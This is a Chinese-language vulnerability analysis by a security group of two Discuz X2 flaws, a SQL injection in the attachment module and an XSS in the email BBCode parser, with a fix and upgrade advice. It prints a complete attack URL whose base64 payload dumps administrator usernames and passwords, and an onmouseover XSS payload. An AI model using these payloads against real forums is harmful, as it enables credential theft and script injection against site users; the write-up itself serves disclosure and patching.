近日,Discuz X2 被爆出了兩個 0day,一個是 SQL 隱碼攻擊漏洞,攻擊者可利用該漏洞獲取到使用者名稱與密碼,另一個是 XSS 注入漏洞,攻擊者可實
現網站掛馬、網站釣魚等行為,目前官方已針對此問題釋出了 0629 版,以下內容是 Nevel 安全團隊的 IMIYOO 針對 disucz
X2 此次 0day 所做的漏洞分析報告。

SQL 隱碼攻擊問題描述:

SQL 是一種資料庫攻擊方式,攻擊者利用畸形的客戶端輸入,如果過濾不夠,程式就會執行過多的資料庫命令,從而會引發資料洩漏,伺服器被入侵等一系列問題;危害等級高。

分析報告:

問題的具體原因發生在 source/module/forum/forum_attachment.php,程式碼如下圖:

其中 $_G[『gp_aid』] 是由使用者提交的變數 aid 所產生,而程式是將 aid 經過 base64_decode 後再傳入 SQL 查詢,在傳入給
SQL 查詢之前也沒有作任何判斷;但這正好給攻擊者提供 base64 加密繞過 Discuz 自身的 SQL 攻擊檢測程式,從而產生 SQL 隱碼攻擊漏洞。

構造 Sql_Exploit:

mod=attachment //包含漏洞檔案
findpost=imiyoo //保證 $_G[『gp_findpost』] 不為空,使程式進入惡意 SQL 查詢流程
aid=base64_encode(「1'
and 1=2 union all select 1,concat(username,0x7C,password) from
pre_common_member where username like 'admin|Nevel|Nevel|Nevel|Nevel」)
//

構造 SQL 利用語句爆出使用者名稱和密碼,其中後面有 4 個』|』 用來產生 5 個變數

從而完整的攻擊語句如下:

http://target/forum.php?mod=attachment&findpost=imiyoo&aid=
MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs

攻擊效果如下圖:

XSS 問題描述:

XSS 是一種客戶端攻擊方式,攻擊者可以可以向 Web 頁面裡插入惡意 html 程式碼,當使用者瀏覽該頁之時,嵌入其中 Web 裡面的 html 程式碼會被執
行,從而可以達到惡意攻擊使用者的特殊目的。利用該 XSS 漏洞,攻擊者可以實現 1 網站掛馬 2 網站釣魚 3 CSRF 攻擊;危害等級中。

分析報告:

具體原因發生在 source/function/function_discuzcode.php 中的,在 discuzcode 函式中,我們可以看
到,程式設計師直接將使用者輸入的 [emai][/email] 資訊利用 preg_replace 函式進行替換,但在該函式中存在一個問題,當使用者提交的變數中
含有雙引號等特殊字元的時候,函式會將它們轉義後再進行輸出,而程式作者沒有對其進行過濾,就傳給了 parseemail 函式;

在 parseemail 函式,如下:

其中 $text 變數也是沒有進行過濾,就直接輸出到客戶端,從而造成了 XSS 漏洞。

構造 Xss_Exploit 如下:

[email][url]」http://www.imiyoo.com  onmouseover=alert(/Discuz-XSS-Exploit/); 「[/url][/email]

漏洞的修補:

當我們輸入上面的惡意資料,經過 preg_replace 函式轉換後,會將雙引號表示字串的實際意義進行轉義,而將其作為字串的一部分進行輸出,從而造成 XSS 攻擊,如下圖:

因此我們需要將 preg_replace 轉換後的變數進行轉化,將跳脫字元』』 進行過濾。

安全建議:手動安裝官方最新的版本 http://www.discuz.net/thread-2168918-1-1.html

來源:Nevel 安全小組 作者:IMIYOO